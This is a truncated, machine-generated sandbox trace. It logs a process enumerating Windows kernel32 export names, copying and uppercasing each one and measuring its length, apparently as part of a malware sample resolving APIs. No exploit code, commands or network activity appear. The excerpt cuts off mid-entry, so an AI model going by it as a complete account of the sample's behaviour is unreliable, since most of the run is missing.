[0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0117.691] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0117.691] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0117.691] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0117.691] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0117.691] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0117.691] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0117.691] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0117.691] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0117.692] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0117.692] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0117.692] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0117.692] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0117.692] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0117.692] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0117.692] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0117.692] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0117.692] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0117.692] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0117.692] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0117.692] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0117.692] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0117.692] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0117.692] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0117.692] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0117.692] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0117.692] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0117.692] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0117.692] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0117.692] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0117.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0117.693] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0117.693] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0117.693] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0117.693] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0117.693] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0117.693] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0117.693] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0117.693] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0117.693] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0117.693] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0117.693] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0117.693] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0117.693] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0117.693] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0117.693] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0117.693] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0117.693] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0117.693] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0117.693] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0117.693] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0117.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0117.693] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0117.694] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0117.694] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0117.694] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0117.694] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0117.694] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0117.694] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0117.694] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0117.694] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0117.694] lstrlenA (lpString="BEEP") returned 4 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0117.694] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0117.694] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0117.694] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0117.694] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0117.694] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0117.694] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0117.694] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0117.694] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0117.694] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0117.694] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0117.694] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0117.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0117.694] lstrlenA (lpString="CANCELIO") returned 8 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0117.695] lstrlenA (lpString="CANCELIOEX") returned 10 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0117.695] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0117.695] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0117.695] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0117.695] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0117.695] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0117.695] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0117.695] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0117.695] lstrlenA (lpString="CHECKELEVATION") returned 14 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0117.695] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0117.695] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0117.695] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0117.695] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0117.695] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0117.695] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0117.695] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0117.695] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0117.695] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0117.695] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0117.695] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0117.695] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0117.696] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0117.696] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0117.696] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0117.696] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0117.696] lstrlenA (lpString="CLOSESTATE") returned 10 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0117.696] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0117.696] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0117.696] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0117.696] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0117.696] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0117.696] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0117.696] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0117.696] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0117.696] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0117.696] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0117.696] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0117.696] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0117.696] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0117.696] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0117.696] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0117.696] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0117.696] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0117.697] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0117.697] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0117.697] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0117.697] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0117.697] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0117.697] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0117.697] lstrcpyA (in: lpString1=0x38bdb2c, 